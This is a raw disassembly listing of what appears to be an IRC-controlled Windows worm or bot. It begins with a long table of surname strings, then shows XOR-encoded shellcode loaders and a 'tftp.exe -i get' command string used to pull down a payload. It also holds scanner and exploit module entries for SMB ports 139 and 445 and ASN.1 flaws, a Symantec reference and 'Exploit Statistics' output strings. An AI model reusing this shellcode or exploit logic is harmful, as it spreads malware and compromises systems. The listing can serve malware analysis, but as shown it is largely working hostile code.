aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA2Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA28o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA24o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA20o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA1Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DA18o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA10o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA0Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA08o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA04o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA00o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042D9FCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042D9F8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042D9F4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042D9F0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042D9ECo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042D9E8o
aCui		db 'Cui',0              ; DATA XREF: ___:0042D9E4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042D9E0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042D9DCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042D9D8o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042D9D4o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042D9D0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9CCo
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9C8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9C4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9C0o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9BCo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9B8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9B4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9B0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9ACo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9A4o
					; ___:0042D9A8o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9A0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D99Co
aColella	db 'Colella',0          ; DATA XREF: ___:0042D998o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D994o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D990o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D98Co
aClow		db 'Clow',0             ; DATA XREF: ___:0042D988o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D984o
aClement	db 'Clement',0          ; DATA XREF: ___:0042D980o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D97Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D978o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D974o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D970o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D96Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D968o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042D964o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D960o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D95Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D958o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D954o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D950o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D94Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D948o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D944o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D940o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D93Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D938o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D934o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D930o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D92Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D928o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D924o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D920o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D91Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D918o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D914o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D910o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D90Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D908o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D904o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D900o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D8FCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D8F8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D8F4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D8F0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D8ECo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D8E8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D8E4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D8DCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D8D8o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D8D4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D8D0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8CCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8C8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8C4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8C0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8BCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8B8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8B4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8B0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8ACo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8A8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8A4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8A0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D89Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D898o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D894o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D890o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D88Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D888o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D884o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D880o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D87Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D878o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D874o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D870o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D86Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D868o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D864o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D860o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D858o
					; ___:0042D85Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D854o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D850o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D84Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D848o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D844o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D840o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D83Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D838o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D834o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D830o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D82Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D828o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D824o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D820o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D81Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D818o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D814o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D810o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D80Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D808o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D804o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D800o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D7FCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D7F8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D7F4o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D7F0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D7ECo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D7E8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D7E4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D7E0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D7DCo
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D7D8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D7D4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D7D0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7C8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7C4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7C0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7BCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7B8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7B4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7B0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7ACo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7A8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7A4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7A0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D79Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D798o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D794o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D790o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D78Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D788o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D784o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D780o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D77Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D778o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D774o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D770o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D76Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D768o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D764o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D760o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D75Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D758o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D754o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D750o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D74Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D748o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D744o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D740o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D73Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D738o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D734o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D730o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D72Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D728o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D724o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D720o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D71Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D718o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D714o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D710o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D70Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D708o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D704o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D700o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D6FCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D6F8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D6F4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D6F0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D6ECo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D6E8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D6E4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D6E0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D6DCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D6D8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D6D4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D6D0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6CCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6C8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6C4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6C0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6BCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6B8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6B4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6B0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6ACo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6A8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6A4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6A0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D69Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D698o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D694o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D690o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D68Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D688o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D684o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D680o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D67Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D678o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D674o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D670o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D66Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D668o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D664o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D660o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D65Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D658o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D654o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D650o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D64Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D648o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D644o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D640o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D63Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D638o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D634o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D630o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D62Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D628o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D624o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D620o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D61Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D618o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D614o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D610o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D60Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D608o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D604o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D600o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D5FCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D5F8o
		align 10h
byte_431250	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431254	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431258	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431260	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431264	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431268	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43126C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431270	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_431274	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431278	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_43127C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431280	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431288	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431298
; ---------------------------------------------------------------------------

loc_431296:				; CODE XREF: ___:loc_431298p
		jmp	short loc_43129D
; ---------------------------------------------------------------------------

loc_431298:				; CODE XREF: ___:00431294j
		call	loc_431296

loc_43129D:				; CODE XREF: ___:loc_431296j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh

loc_4312A4:				; CODE XREF: ___:004312A9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312A4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh

loc_4312BA:				; CODE XREF: ___:004312BFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312BA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43135C
		jnz	short loc_431348
		retn
; ---------------------------------------------------------------------------

loc_431348:				; CODE XREF: ___:00431345j
					; ___:00431355j
		call	near ptr loc_43134D+1

loc_43134D:				; CODE XREF: ___:loc_431348p
		add	[edx+0], ch
		call	sub_43135C
		jz	loc_431348
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43135C	proc near		; CODE XREF: ___:00431340p
					; ___:00431350p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43135C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431408	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43140C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431410	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431414	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431418	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43141C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4315EA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431616

; =============== S U B	R O U T	I N E =======================================



sub_431606	proc near		; CODE XREF: sub_431606:loc_431616p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_43160E:				; CODE XREF: sub_431606+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43160E
		jmp	short loc_43161B
; ---------------------------------------------------------------------------

loc_431616:				; CODE XREF: ___:00431604j
		call	sub_431606

loc_43161B:				; CODE XREF: sub_431606+Ej
		jo	short near ptr dword_4315A4+12h
		cwde
		cdq
		cdq
		retn
sub_431606	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_431798	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317A4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317C4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
